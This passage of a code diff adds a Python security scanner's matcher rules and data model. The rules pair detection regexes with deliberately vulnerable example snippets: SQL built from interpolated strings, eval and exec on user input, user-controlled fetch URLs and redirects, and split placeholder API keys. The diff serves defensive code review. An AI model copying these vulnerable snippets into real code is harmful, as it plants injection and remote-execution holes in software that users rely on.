+ ], + patterns=[ + _p( + r"`\s*SELECT\s+[^`]{0,400}\$\{", + "template literal SELECT with interpolation", + ), + _p( + r"`\s*INSERT\s+[^`]{0,400}\$\{", + "template literal INSERT with interpolation", + ), + _p( + r"`\s*UPDATE\s+[^`]{0,400}\$\{", + "template literal UPDATE with interpolation", + ), + _p( + r"`\s*DELETE\s+[^`]{0,400}\$\{", + "template literal DELETE with interpolation", + ), + _p(r"""['"]SELECT\s+[^'"]{0,400}['"]\s*\+""", "string concat SELECT"), + _p(r"""['"]INSERT\s+[^'"]{0,400}['"]\s*\+""", "string concat INSERT"), + _p(r"""['"]UPDATE\s+[^'"]{0,400}['"]\s*\+""", "string concat UPDATE"), + _p(r"""['"]DELETE\s+[^'"]{0,400}['"]\s*\+""", "string concat DELETE"), + _p(r"query\s*\(\s*`[^`]*\$\{", "query() with interpolation"), + _p(r"\.raw\s*\(\s*`[^`]*\$\{", ".raw() with interpolation"), + _p(r"""LIKE\s+['"]?%?\$\{""", "LIKE with interpolation"), + _p(r"""RLIKE\s+['"]?\$\{""", "RLIKE with interpolation"), + _p( + r"executeQuery\w*\s*\(\s*`[^`]*\$\{", + "executeQuery with template interpolation", + ), + _p(r"sql\.raw\s*\(", "sql.raw() — raw SQL (verify parameterized)"), + _p( + r"sql`[^`]{0,400}\$\{[^}]{0,200}\}", + "sql tagged template with interpolation", + ), + ], +) + +XSS = Matcher( + slug="xss", + description=( + "Unsafe innerHTML, dangerouslySetInnerHTML, template injection patterns" + ), + noise_tier="normal", + extensions=(*JS, "html", "ejs", "hbs"), + examples=[ + "
", + "el.innerHTML = userInput;", + "node.outerHTML = data;", + "document.write(payload);", + "const html = `

${value}

`;", + '
', + '', + ], + patterns=[ + _p(r"dangerouslySetInnerHTML", "dangerouslySetInnerHTML"), + _p(r"\.innerHTML\s*=", "innerHTML assignment"), + _p(r"\.outerHTML\s*=", "outerHTML assignment"), + _p(r"document\.write\s*\(", "document.write"), + _p( + r"\$\{[^}]{0,200}\}.{0,120}|<\w+[^>]{0,200}\$\{", + "template literal in HTML", + ), + _p(r"v-html\s*=", "Vue v-html directive"), + _p(r"\[innerHTML\]\s*=", "Angular innerHTML binding"), + ], +) + +RCE = Matcher( + slug="rce", + description=( + "exec, spawn, eval, Function constructor with potential user input" + ), + noise_tier="precise", + extensions=JS, + examples=[ + "child_process.exec(cmd);", + "exec(`ls ${dir}`);", + 'execSync("whoami");', + 'spawn("sh", ["-c", cmd]);', + 'spawnSync("git", ["status"]);', + "eval(userInput);", + 'new Function("return " + body)();', + 'const cp = require("child_process");', + 'import { exec } from "child_process";', + "vm.runInNewContext(code, ctx);", + "vm.runInThisContext(snippet);", + ], + patterns=[ + _p(r"child_process.*exec\s*\(", "child_process exec"), + _p(r"""\bexec\s*\(\s*[`'"]""", "exec with string"), + _p(r"\bexecSync\s*\(", "execSync"), + _p(r"\bspawn\s*\(", "spawn"), + _p(r"\bspawnSync\s*\(", "spawnSync"), + _p(r"\beval\s*\(", "eval"), + _p(r"new\s+Function\s*\(", "new Function()"), + _p(r"""require\s*\(\s*['"]child_process['"]""", "child_process import"), + _p(r"""from\s+['"]child_process['"]""", "child_process import"), + _p(r"vm\.runIn(New|This)Context\s*\(", "vm context execution"), + ], +) + +SSRF = Matcher( + slug="ssrf", + description="HTTP requests with dynamic/user-controlled URLs", + noise_tier="normal", + extensions=JS, + skip_paths=TEST_FILES, + examples=[ + "fetch(req.body.url);", + "fetch(query.target);", + "fetch(searchParams.get('u'));", + "axios.get(req.body.endpoint);", + "axios(query.target);", + "got(body.url);", + "https.get(req.query.target);", + "https.request(`https://api/${req.body.host}`);", + "page.goto(req.body.url);", + "new URL(req.query.target);", + "fetch(`${userBase}/items`);", + "const target = `https://${req.body.host}`;", + 'const url = "http://" + req.query.host;', + "const targetUrl = req.query.url;", + ], + patterns=[ + _p(r"fetch\s*\(\s*" + REQUEST_INPUT, "fetch with request-derived URL"), + _p( + r"axios\.(get|post|put|delete|patch|request)\s*\(\s*" + + REQUEST_INPUT, + "axios with request-derived URL", + ), + _p( + r"\b(axios|got|ky|superagent)\s*\(\s*" + REQUEST_INPUT, + "HTTP client call with request-derived URL", + ), + _p( + r"https?\.(get|request)\s*\(\s*" + REQUEST_INPUT, + "http(s).get/request with request-derived URL", + ), + _p( + r"\b(page|browser)\.(goto|setContent)\s*\(\s*" + REQUEST_INPUT, + "browser navigation with request-derived URL", + ), + _p( + r"https?\.request\s*\(\s*`[^`]*\$\{", + "http.request with interpolated URL", + ), + _p(r"new\s+URL\s*\(\s*" + REQUEST_INPUT, "new URL from request data"), + _p( + r"(?:const|let|var)\s+\w*[uU]rl\w*\s*=\s*[^;\n]*\b(?:req|request|params|query|body|searchParams|nextUrl|input)\b", + "URL-named variable assigned from request data", + ), + # String-built URLs are the strongest signal; skip constant/env bases. + _p( + r"fetch\s*\(\s*`[^`]*\$\{", + "fetch with interpolated URL (non-constant base)", + unless=( + r"VERCEL_API_URL|API_BASE|API_URL|INTERNAL_URL|process\.env\.\w+_URL" + ), + ), + _p( + r"https?://[^`]*\$\{", + "string-built URL via template interpolation", + unless=( + r"VERCEL_API_URL|API_BASE|API_URL|INTERNAL_URL|process\.env\.\w+_URL" + ), + ), + _p( + r"""["']https?://["']\s*\+""", + "string-built URL via concatenation", + unless=( + r"VERCEL_API_URL|API_BASE|API_URL|INTERNAL_URL|process\.env\.\w+_URL" + ), + ), + ], +) + +# Examples split the prefix and body into two literals so neither alone +# trips a push-protection scanner; the matcher catches both forms. +SECRETS_EXPOSURE = Matcher( + slug="secrets-exposure", + description="Hardcoded API keys, tokens, passwords, and secrets", + noise_tier="precise", + extensions=(*JS, "json", "yaml", "yml", "env", "conf", "cfg"), + skip_paths=re.compile( + r"\.(test|spec|fixture|mock)\.|__(tests|mocks|fixtures)__", re.I + ), + examples=[ + 'const stripe = "sk_live_" + "REDACTEDxxxxxxxxxxxxxxxx";', + 'const tok = "ghp_" + "REDACTEDxxxxxxxxxxxxxxxxxxxxxxxxxxxx";', + 'const id = "AKIA" + "REDACTED1234567";', + 'const password = "supersecret" + "Password123!";', + 'const h = "deadbeefdeadbeefdeadbeefdeadbeef" + ' + '"deadbeefdeadbeefdeadbeefdeadbeef";', + 'headers: { Authorization: "Bearer " + ' + '"REDACTEDxxxxxxxxxxxxxxxxxxxxx" }', + 'password = "hunter2hunter2"', + ], + patterns=[ + _p(r"""['"]sk[-_]live[-_][a-zA-Z0-9]{20,}['"]""", "Stripe secret key"), + _p(r"""['"]AIza[a-zA-Z0-9_-]{35}['"]""", "Google API key"), + _p(r"""['"]ghp_[a-zA-Z0-9]{36}['"]""", "GitHub personal access token"), + _p(r"""['"]AKIA[A-Z0-9]{16}['"]""", "AWS access key ID"), + _p(r"""['"][a-f0-9]{64}['"]""", "potential 256-bit hex secret"), + _p(r"Bearer\s+[a-zA-Z0-9._-]{20,}", "hardcoded Bearer token"), + _p( + r"""['"]sk[-_]live[-_]['"]\s*\+\s*['"][A-Za-z0-9_]{16,}['"]""", + "Stripe secret key (string-split — likely hardcoded)", + ), + _p( + r"""['"]ghp_['"]\s*\+\s*['"][A-Za-z0-9]{20,}['"]""", + "GitHub personal access token (string-split — likely hardcoded)", + ), + _p( + r"""['"]AKIA['"]\s*\+\s*['"][A-Za-z0-9_]{10,}['"]""", + "AWS access key ID (string-split — likely hardcoded)", + ), + _p( + r"""['"]Bearer\s*['"]\s*\+\s*['"][A-Za-z0-9._-]{16,}['"]""", + "hardcoded Bearer token (string-split — likely hardcoded)", + ), + _p( + r"""['"][a-f0-9]{32,}['"]\s*\+\s*['"][a-f0-9]{16,}['"]""", + "long hex secret (string-split — likely hardcoded)", + ), + _p( + r"""['"](?:supersecret|secret|password|passwd|api[_-]?key|api[_-]?secret|token|REDACTED)['"]\s*\+\s*['"][^'"]{6,}['"]""", + "credential prefix concatenated with body — likely hardcoded", + flags=re.I, + ), + _p( + r"""(password|passwd|secret|api_key|apikey|api[-_]secret)\s*[:=]\s*['"][^'"]{8,}['"](?!\s*[;,]\s*//)""", + "hardcoded credential", + ), + ], +) + +OPEN_REDIRECT = Matcher( + slug="open-redirect", + description="Redirects with user-controlled URLs", + noise_tier="normal", + extensions=JS, + examples=[ + "redirect(req.body.next);", + "redirect(`${origin}/${req.body.path}`);", + "res.redirect(req.body.url);", + "headers: { Location: req.body.next }", + "window.location = params.next;", + "const u = returnUrl;", + ], + patterns=[ + _p( + r"redirect\s*\(\s*(req\.|request\.|params\.|query\.|body\.)", + "redirect with request-derived URL", + ), + _p(r"redirect\s*\(\s*`[^`]*\$\{", "redirect with interpolated URL"), + _p( + r"res\.redirect\s*\(\s*(req\.|request\.|params\.|query\.|body\.)", + "res.redirect with request-derived URL", + ), + _p( + r"Location.*:\s*(req\.|request\.|params\.|query\.|body\.)", + "Location header from request data", + ), + _p( + r"window\.location\s*=\s*(req|params|query|searchParams)", + "window.location from user input", + ), + _p( + r"returnUrl|redirectUrl|returnTo|next.*url", + "redirect URL parameter", + flags=re.I, + ), + ], +) + +PATH_TRAVERSAL = Matcher( + slug="path-traversal", + description="File system operations with user-controlled paths", + noise_tier="noisy", + extensions=JS, + skip_paths=TEST_FILES, + examples=[ + "readFile(req.body.path, cb);", + "readFileSync(params.file);", + "readFile(`${root}/${req.body.path}`);", + "writeFile(req.body.target, data, cb);", + "writeFileSync(`/data/${request.body.name}`, blob);", + "path.join(root, req.body.subdir);", + "path.resolve(base, params.dir);", + ], + patterns=[ + _p( + r"readFile(Sync)?\s*\(\s*(req\.|request\.|params\.|query\.|body\.|parsed\.)", + "readFile with request-derived path", + ), + _p( + r"readFile(Sync)?\s*\(\s*`[^`]*(req\.|request\.|params\.|query\.|body\.)", + "readFile with request-derived interpolation", + ), + _p( + r"writeFile(Sync)?\s*\(\s*(req\.|request\.|params\.|query\.|body\.|parsed\.)", + "writeFile with request-derived path", + ), + _p( + r"writeFile(Sync)?\s*\(\s*`[^`]*(req\.|request\.|params\.|query\.|body\.)", + "writeFile with request-derived interpolation", + ), + _p( + r"path\.join\s*\([^)]*\b(req\.|request\.|params\.|query\.|body\.|parsed\.)", + "path.join with request-derived input", + ), + _p( + r"path\.resolve\s*\([^)]*\b(req\.|request\.|params\.|query\.|body\.|parsed\.)", + "path.resolve with request-derived input", + ), + ], +) + +INSECURE_CRYPTO = Matcher( + slug="insecure-crypto", + description=( + "Weak cryptographic algorithms and insecure random number generation" + ), + noise_tier="noisy", + extensions=JS, + skip_paths=TEST_FILES, + examples=[ + 'crypto.createHash("md5").update(s).digest();', + "crypto.createHash('sha1').update(s);", + 'crypto.createCipher("aes", key);', + 'const algo = "RC4";', + "const h = md5(input);", + "if (computed === hmac) { ok(); }", + "if (digest === expected) { return; }", + "if (signature == provided) { return; }", + "const token = Math.random().toString(36);", + ], + patterns=[ + _p(r"""createHash\s*\(\s*['"]md5['"]""", "MD5 hash"), + _p(r"""createHash\s*\(\s*['"]sha1['"]""", "SHA1 hash"), + _p( + r"createCipher\s*\(", "deprecated createCipher (use createCipheriv)" + ), + _p(r"DES|RC4|Blowfish", "weak cipher algorithm", flags=re.I), + _p(r"\bmd5\s*\(", "MD5 function call"), + _p( + r"===?\s*.{0,40}\bhmac\b|\bhmac\b.{0,40}===?", + "Timing-unsafe HMAC comparison (use timingSafeEqual)", + ), + _p( + r"===?\s*.{0,40}\bdigest\b|\bdigest\b.{0,40}===?", + "Timing-unsafe digest comparison", + ), + _p( + r"===?\s*.{0,40}\bsignature\b|\bsignature\b.{0,40}===?", + "Timing-unsafe signature comparison", + ), + # Only in a security-relevant file. + _p( + r"Math\.random\s*\(", + "Math.random in security context", + guard=( + r"\b(token|secret|key|password|nonce|salt|session|csrf|auth|credential|hash)\b" + ), + ), + ], +) + +PY_SQL_RAW = Matcher( + slug="py-sql-raw", + description=( + "Raw SQL across Python DB drivers — f-string / %-format / .format / + " + "interpolation is SQL injection" + ), + noise_tier="normal", + extensions=("py",), + skip_paths=re.compile(r"\b(?:tests?|migrations)\b", re.I), + examples=[ + 'cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")', + 'cursor.execute("SELECT * FROM users WHERE id = %s" % user_id)', + """cursor.execute("DELETE FROM x WHERE y = '" + name + "'")""", + """cursor.execute("SELECT * FROM t WHERE col = '{}'".format(val))""", + """engine.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))""", # noqa: E501 + """session.execute(f"UPDATE users SET role = '{role}'")""", + """text(f"SELECT id FROM users WHERE email = '{email}'")""", + """User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")""", + """User.objects.extra(where=[f"name = '{name}'"])""", + 'await conn.execute(f"DELETE FROM users WHERE id = {user_id}")', + ], + patterns=[ + _p( + r"""\bengine\.execute\s*\(\s*(?:text\s*\(\s*)?f['"]""", + "SQLAlchemy engine.execute with f-string — SQL injection", + ), + _p( + r"""\bsession\.execute\s*\(\s*(?:text\s*\(\s*)?f['"]""", + "SQLAlchemy session.execute with f-string — SQL injection", + ), + _p( + r"""\btext\s*\(\s*f['"]""", + "SQLAlchemy text() with f-string — bypasses parameterization", + ), + _p( + r"""\bsession\.execute\s*\(\s*(?:"[^"]{0,400}"|'[^']{0,400}')\s*%""", + "SQLAlchemy session.execute with %-formatting — SQL injection", + ), + _p( + r"""\bcursor\.execute\s*\(\s*f['"]""", + "cursor.execute with f-string — SQL injection", + ), + _p( + r"""\bcursor\.execute\s*\(\s*(?:"[^"]{0,400}"|'[^']{0,400}')\s*%""", + "cursor.execute with %-formatting — SQL injection", + ), + _p( + r"""\bcursor\.execute\s*\(\s*(?:"[^"]{0,400}"|'[^']{0,400}')\s*\.format\s*\(""", + "cursor.execute with .format() — SQL injection", + ), + _p( + r"""\bcursor\.execute\s*\(\s*(?:"[^"]{0,400}"|'[^']{0,400}')\s*\+""", + "cursor.execute with string concatenation — SQL injection", + ), + _p( + r"""\bawait\s+conn\.(?:execute|fetch|fetchrow|fetchval)\s*\(\s*f['"]""", + "asyncpg conn.execute/fetch* with f-string — SQL injection", + ), + _p( + r"""\b\w+\.objects\.raw\s*\(\s*f['"]""", + "Django Model.objects.raw with f-string — SQL injection", + ), + _p( + r"""\b\w+\.objects\.extra\s*\(\s*where\s*=\s*\[\s*f?['"]""", + "Django Model.objects.extra(where=...) — string-built WHERE clause", + ), + _p( + r"""\bdb\.execute\s*\(\s*f['"]\s*(?:SELECT|INSERT|UPDATE|DELETE)""", + "db.execute with f-string SQL — SQL injection", + ), + ], +) + +MISSING_AUTH = Matcher( + slug="missing-auth", + description=( + "All HTTP request entry points — flagged as weak candidates for auth " + "review" + ), + noise_tier="normal", + extensions=JS, + skip_paths=TEST_FILES, + # Files using a backend auth wrapper are properly protected. Next.js + # middleware.ts is NOT one — only direct handler wrappers count. + skip_content=re.compile( + r"withSchema\s*\(|withAuthentication\s*\(|authMiddleware|withAuth\s*\(|requireAuth" + + r"|authTeamOrUserReq|performOIDCOrTeamOrUserAuth" + ), + examples=[ + "export async function GET(req) { return Response.json({}); }", + "export function POST(req) { return new Response(''); }", + "export const GET = async () => Response.json({});", + "export default async function handler(req, res) { res.json({}); }", + 'router.get("/items", (req, res) => res.json([]));', + 'app.post("/login", handler);', + ], + patterns=[ + _p( + r"export\s+(async\s+)?function\s+(GET|POST|PUT|PATCH|DELETE|HEAD|OPTIONS)\b", + "HTTP entry point: Next.js App Router handler (weak candidate)", + ), + _p( + r"export\s+(const|let)\s+(GET|POST|PUT|PATCH|DELETE|HEAD|OPTIONS)\s*=", + "HTTP entry point: Next.js App Router handler (arrow) (weak " + "candidate)", + ), + _p( + r"export\s+default\s+(async\s+)?function", + "HTTP entry point: default export handler (weak candidate)", + ), + _p( + r"router\.(get|post|put|patch|delete|all)\s*\(", + "HTTP entry point: router method handler (weak candidate)", + ), + _p( + r"app\.(get|post|put|patch|delete|all)\s*\(", + "HTTP entry point: app method handler (weak candidate)", + ), + _p( + r"""\.route\s*\(\s*['"]/""", + "HTTP entry point: route definition (weak candidate)", + ), + ], +) + +AUTH_BYPASS = Matcher( + slug="auth-bypass", + description=( + "Auth checks, middleware guards, session validation that may be " + "bypassable" + ), + noise_tier="normal", + extensions=JS, + examples=[ + "if (isAdmin === true) { grant(); }", + "user.isAdmin == req.body.isAdmin", + "// skip auth in development", + "if (!session) return null;", + "await verifyToken(token);", + "verifySession(req);", + "app.use(authMiddleware);", + 'const t = req.headers["authorization"];', + ], + patterns=[ + _p(r"isAdmin\s*[=!]==?\s*(true|false|req\.)", "admin check comparison"), + _p( + r"auth.{0,30}skip|skip.{0,30}auth|bypass.{0,30}auth", + "auth skip/bypass", + flags=re.I, + ), + _p(r"if\s*\(\s*!?\s*session\s*\)", "session null check"), + _p(r"verify(Token|JWT|Session|Auth)\s*\(", "auth verification call"), + _p( + r"middleware.{0,30}auth|auth.{0,30}middleware", + "auth middleware", + flags=re.I, + ), + _p( + r"""req\.headers\[['"]authorization['"]\]""", + "authorization header access", + ), + ], +) + +DANGEROUS_HTML = Matcher( + slug="dangerous-html", + description=( + "dangerouslySetInnerHTML and innerHTML with source classification" + ), + noise_tier="normal", + extensions=JS, + skip_paths=TEST_FILES, + examples=[ + "
", + "el.innerHTML = data;", + ], + patterns=[ + _p( + r"dangerouslySetInnerHTML", + "dangerouslySetInnerHTML (classify source)", + ), + _p(r"\.innerHTML\s*=", "innerHTML assignment (classify source)"), + ], +) + +CRYPTO_USAGE = Matcher( + slug="crypto-usage", + description=( + "Any file that uses cryptographic primitives — wide net for AI review" + ), + noise_tier="normal", + extensions=(*JS, "mjs", "cjs", "py"), + skip_paths=re.compile( + r"\.(test|spec)\.(ts|tsx|js|jsx|mjs|cjs)$|(?:^|/)__tests__/|\.d\.ts$|(?:^|/)gen/" + ), + examples=[ + "const crypto = require('node:crypto');", + 'import jwt from "jsonwebtoken";', + 'import { SignJWT } from "jose";', + 'const hash = crypto.subtle.digest("SHA-256", data);', + "import hashlib", + "const hash = createHash('sha256');", + "const buf = randomBytes(32);", + "const key = pbkdf2Sync(password, salt, 100000, 64, 'sha512');", + "if (timingSafeEqual(a, b)) ok();", + "const sig = jwt.sign({ id: 1 }, secret);", + 'await crypto.subtle.encrypt({ name: "AES-GCM", iv }, key, data);', + "mac = hmac.new(key, msg, hashlib.sha256)", + "token = secrets.token_hex(16)", + ], + patterns=[ + _p( + r"""(?:require|from)\s*\(?\s*['"](?:node:)?crypto['"]""", + "Node crypto import", + ), + _p( + r"""(?:require|from)\s*\(?\s*['"](?:crypto-js|tweetnacl|@noble/[\w-]+|jose|jsonwebtoken|bcrypt|bcryptjs|argon2|scrypt|tweetsodium|libsodium-wrappers|node-forge|elliptic|sjcl)['"]""", + "JS crypto library import", + ), + _p(r"crypto\.subtle\.\w+", "Web Crypto API (crypto.subtle.*)"), + _p( + r"^\s*(?:from|import)\s+(?:cryptography|hashlib|hmac|secrets|Crypto|nacl|jwt|passlib|bcrypt|argon2|pycryptodome)\b", + "Python crypto import", + ), + _p( + r"\bcreate(?:Hash|Hmac|Cipher(?:iv)?|Decipher(?:iv)?|Sign|Verify|PrivateKey|PublicKey|SecretKey|DiffieHellman|ECDH)\s*\(", + "Node crypto.create*", + ), + _p(r"\brandomBytes\s*\(", "Node randomBytes"), + _p(r"\brandomUUID\s*\(", "Node randomUUID"), + _p(r"\bpbkdf2(?:Sync)?\s*\(", "Node pbkdf2"), + _p(r"\bscrypt(?:Sync)?\s*\(", "Node scrypt"), + _p(r"\btimingSafeEqual\s*\(", "Node timingSafeEqual"), + _p( + r"\bcrypto\.(?:sign|verify|hkdf|generateKeyPair(?:Sync)?|diffieHellman)\s*\(", + "Node crypto op", + ), + _p(r"\bjwt\.(sign|verify|decode)\s*\(", "JWT sign/verify"), + _p( + r"\bhashlib\.(?:md5|sha1|sha224|sha256|sha384|sha512|blake2\w*|pbkdf2_hmac)\s*\(", + "Python hashlib", + ), + _p(r"\bhmac\.(?:new|compare_digest|HMAC)\s*\(", "Python hmac"), + _p( + r"\bsecrets\.(token_bytes|token_hex|token_urlsafe|randbelow|choice|compare_digest|SystemRandom)\s*\(", + "Python secrets", + ), + ], +) + +JS_SQL_RAW = Matcher( + slug="js-sql-raw", + description=( + "Raw SQL escape hatches across popular JS/TS DB drivers — interpolated " + "input is SQL injection" + ), + noise_tier="normal", + extensions=(*JS, "mjs", "cjs"), + skip_paths=re.compile(r"\.(test|spec)\.(ts|tsx|js|jsx|mjs|cjs)$|\.d\.ts$"), + examples=[ + 'client.query("SELECT * FROM users WHERE id = " + userId)', + "pool.query(`SELECT * FROM users WHERE id = ${id}`)", + "repo.query(`UPDATE users SET role = '${role}' WHERE id = ${id}`)", + "sequelize.query(`SELECT * FROM t WHERE col = '${input}'`)", + "Sequelize.literal(`COUNT(*) FILTER (WHERE x = ${x})`)", + "knex.raw(`SELECT * FROM users WHERE id = ${id}`)", + """qb.whereRaw("col = '" + value + "'")""", + "sql.unsafe(`SELECT * FROM x WHERE y = ${y}`)", + "db.prepare(`SELECT * FROM users WHERE name = '${name}'`)", + ], + patterns=[ + _p( + r"""\b(?:client|pool|conn)\.query\s*\(\s*['"`]\s*(?:SELECT|INSERT|UPDATE|DELETE|CREATE|DROP)\b[^)]{0,400}\$\{""", + "node-postgres/pg: client/pool/conn.query with template-literal " + "interpolation — SQL injection", + flags=re.I, + ), + _p( + r"""\.query\s*\(\s*['"`][^'"`]{0,200}['"`]\s*\+""", + ".query('...') with string concatenation — SQL injection", + ), + _p( + r"""\bmysql\.createConnection\s*\(|require\(\s*['"]mysql2?['"]\s*\)""", + "mysql/mysql2 driver in use — verify all query() calls use " + "placeholders, not concatenation", + ), + _p( + r"\b(?:repo|repository|entityManager|manager|connection|dataSource|getRepository\(\w+\))\.query\s*\(", + "TypeORM repository/manager.query — raw SQL, must use parameter " + "array not interpolation", + ), + _p( + r"\bsequelize\.query\s*\(\s*`?[^`)]{0,400}\$\{", + "Sequelize sequelize.query with template-literal interpolation — " + "pass replacements/bind instead", + ), + _p( + r"Sequelize\.literal\s*\(", + "Sequelize.literal — bypasses escaping; must not include user " + "input", + ), + _p( + r"""\.raw\s*\(\s*['"`][^'"`]{0,400}\$\{""", + "Knex .raw with template-literal interpolation — SQL injection", + ), + _p( + r"\.whereRaw\s*\(", + "Knex .whereRaw — verify bindings are passed as second argument, " + "not interpolated", + ), + _p( + r"\.orderByRaw\s*\(", + "Knex .orderByRaw — verify bindings are passed as second " + "argument, not interpolated", + ), + _p( + r"\.havingRaw\s*\(", + "Knex .havingRaw — verify bindings are passed as second argument, " + "not interpolated", + ), + _p( + r"\bsql\.raw\s*\(", + "Kysely sql.raw — bypasses parameterization, must not include " + "user input", + ), + _p( + r"\bsql\.lit\s*\(", + "Kysely sql.lit — inserts literal SQL, must not include user input", + ), + _p( + r"\bsql\.unsafe\s*\(", + "postgres.js sql.unsafe — bypasses parameterization, must not " + "include user input", + ), + _p( + r"\bdb\.prepare\s*\(\s*`[^`]{0,400}\$\{", + "better-sqlite3 db.prepare with template-literal interpolation — " + "use bound parameters", + ), + _p( + r"\bdb\.exec\s*\(\s*`[^`]{0,400}\$\{", + "better-sqlite3 db.exec with template-literal interpolation — " + "db.exec cannot bind, refactor to prepare()", + ), + _p( + r"""\bquery\s*\(\s*['"`]\s*(?:SELECT|INSERT|UPDATE|DELETE)\b[^)]{0,400}['"`]\s*\+""", + "Generic .query('SELECT/INSERT/...') with string concatenation — " + "SQL injection", + flags=re.I, + ), + ], +) + +UNSAFE_REDIRECT = Matcher( + slug="unsafe-redirect", + description=( + "Redirects that may bypass validNextRedirect() — open redirect risk" + ), + noise_tier="normal", + extensions=JS, + skip_paths=TEST_FILES, + examples=[ + "redirect(req.body.next);", + 'redirect(searchParams.get("u"));', + "redirect(`/${req.body.path}`);", + "NextResponse.redirect(new URL(target, base));", + "const t = returnUrl; redirect(t);", + ], + patterns=[ + _p( + r"redirect\s*\(\s*(req\.|request\.|params\.|query\.|searchParams|body\.)", + "redirect() with request-derived URL (NO validNextRedirect — " + "investigate)", + guard=( + r"redirect\s*\(|NextResponse\.redirect|router\.push|router\.replace|window\.location" + ), + ), + _p( + r"redirect\s*\(\s*`[^`]*\$\{", + "redirect() with interpolated URL (NO validNextRedirect — " + "investigate)", + guard=( + r"redirect\s*\(|NextResponse\.redirect|router\.push|router\.replace|window\.location" + ), + ), + _p( + r"NextResponse\.redirect\s*\(\s*new\s+URL\s*\(", + "NextResponse.redirect with dynamic URL (NO validNextRedirect — " + "investigate)", + guard=( + r"redirect\s*\(|NextResponse\.redirect|router\.push|router\.replace|window\.location" + ), + ), + _p( + r"x-app-redirect-uri|redirect.uri|redirectUrl|returnUrl|returnTo", + "Redirect URL from header/param (NO validNextRedirect — " + "investigate)", + flags=re.I, + guard=( + r"redirect\s*\(|NextResponse\.redirect|router\.push|router\.replace|window\.location" + ), + ), + ], +) + +MATCHERS: list[Matcher] = [ + SQL_INJECTION, + XSS, + RCE, + SSRF, + SECRETS_EXPOSURE, + OPEN_REDIRECT, + PATH_TRAVERSAL, + INSECURE_CRYPTO, + PY_SQL_RAW, + MISSING_AUTH, + AUTH_BYPASS, + DANGEROUS_HTML, + CRYPTO_USAGE, + JS_SQL_RAW, + UNSAFE_REDIRECT, +] +BY_SLUG: dict[str, Matcher] = {m.slug: m for m in MATCHERS} + + +def tier_of(slug: str) -> NoiseTier: + matcher = BY_SLUG.get(slug) + return matcher.noise_tier if matcher is not None else "noisy" + + +def registry( + only: list[str] | None = None, exclude: list[str] | None = None +) -> list[Matcher]: + """The active set for one run (spec: `matchers.only` / `.exclude`).""" + active = [m for m in MATCHERS if only is None or m.slug in only] + return [m for m in active if not exclude or m.slug not in exclude] diff --git a/examples/apps/deepysec/deepysec/models.py b/examples/apps/deepysec/deepysec/models.py new file mode 100644 index 00000000..b0712665 --- /dev/null +++ b/examples/apps/deepysec/deepysec/models.py @@ -0,0 +1,277 @@ +"""deepsec's data model, preserved in shape (spec §2). + +On disk it is camelCase JSON — what vercel-labs/deepsec writes — so a record +written here reads there. In Python it is snake_case Pydantic. The alias +generator does the translation both ways. +""" + +from __future__ import annotations + +import hashlib +import secrets +from datetime import UTC, datetime +from typing import Literal + +from pydantic import BaseModel, ConfigDict, Field +from pydantic.alias_generators import to_camel + +Severity = Literal["CRITICAL", "HIGH", "MEDIUM", "HIGH_BUG", "BUG", "LOW"] +SEVERITY_ORDER: dict[str, int] = { + "CRITICAL": 0, + "HIGH": 1, + "HIGH_BUG": 2, + "MEDIUM": 3, + "BUG": 4, + "LOW": 5, +} +Confidence = Literal["high", "medium", "low"] +FileStatus = Literal["pending", "processing", "analyzed", "error"] +NoiseTier = Literal["precise", "normal", "noisy"] +NOISE_SCORE: dict[str, int] = {"precise": 0, "normal": 1, "noisy": 2} + +#: What the agent may say about a finding. `accepted-risk` is deliberately +#: NOT here: it is a manual marker, and leaving it out of the type is what +#: makes it impossible for an agent to emit — the schema the SDK sends +#: refuses it, and a reply carrying it is re-asked. +AgentVerdict = Literal[ + "true-positive", "false-positive", "fixed", "uncertain", "duplicate" +] +RevalidationVerdict = AgentVerdict | Literal["accepted-risk"] + + +def now() -> str: + return ( + datetime.now(UTC).isoformat(timespec="seconds").replace("+00:00", "Z") + ) + + +def new_run_id() -> str: + return ( + datetime.now(UTC).strftime("%Y%m%d-%H%M%S") + "-" + secrets.token_hex(2) + ) + + +class Record(BaseModel): + model_config = ConfigDict( + alias_generator=to_camel, + populate_by_name=True, + serialize_by_alias=True, + extra="ignore", + ) + + +# -- scan --------------------------------------------------------------------- + + +class CandidateMatch(Record): + vuln_slug: str + line_numbers: list[int] + snippet: str + matched_pattern: str + + +# -- process ------------------------------------------------------------------ + + +class Revalidation(Record): + verdict: RevalidationVerdict + reasoning: str + adjusted_severity: Severity | None = None + duplicate_of: str | None = None + revalidated_at: str + run_id: str + model: str + + +class Finding(Record): + finding_id: str | None = None + severity: Severity + vuln_slug: str + title: str + description: str + line_numbers: list[int] = Field(default_factory=list) + recommendation: str = "" + confidence: Confidence = "medium" + revalidation: Revalidation | None = None + produced_by_run_id: str | None = None + """The run that FIRST surfaced it; never updated.""" + + @property + def signature(self) -> tuple[str, str]: + return (self.vuln_slug, self.title) + + +class TokenUsage(Record): + input_tokens: int = 0 + output_tokens: int = 0 + cache_read_input_tokens: int = 0 + cache_creation_input_tokens: int = 0 + + +class AnalysisEntry(Record): + run_id: str + investigated_at: str + duration_ms: int + agent_type: str + model: str + agent_session_id: str | None = None + finding_count: int + phase: Literal["process", "revalidate"] = "process" + cost_usd: float | None = None + """This FILE's share of the batch — see `split_evenly`.""" + usage: TokenUsage | None = None + + +# -- enrich ------------------------------------------------------------------- + + +class Committer(Record): + name: str + email: str + date: str + + +class GitInfo(Record): + recent_committers: list[Committer] + enriched_at: str + + +# -- the record --------------------------------------------------------------- + + +class FileRecord(Record): + file_path: str + project_id: str + candidates: list[CandidateMatch] = Field(default_factory=list) + last_scanned_at: str + last_scanned_run_id: str + file_hash: str + findings: list[Finding] = Field(default_factory=list) + analysis_history: list[AnalysisEntry] = Field(default_factory=list) + git_info: GitInfo | None = None + status: FileStatus = "pending" + locked_by_run_id: str | None = None + locked_at: str | None = None + + @property + def noise_score(self) -> int: + """Minimum tier across the file's slugs: precise wins. + + Work ordering only. + """ + # imported here: matchers imports this module + from deepysec.matchers import tier_of # noqa: PLC0415 + + return min( + (NOISE_SCORE[tier_of(c.vuln_slug)] for c in self.candidates), + default=2, + ) + + +class RunStats(Record): + files_scanned: int = 0 + candidates_found: int = 0 + files_processed: int = 0 + findings_count: int = 0 + total_cost_usd: float = 0.0 + total_input_tokens: int = 0 + total_output_tokens: int = 0 + total_duration_ms: int = 0 + findings_revalidated: int = 0 + true_positives: int 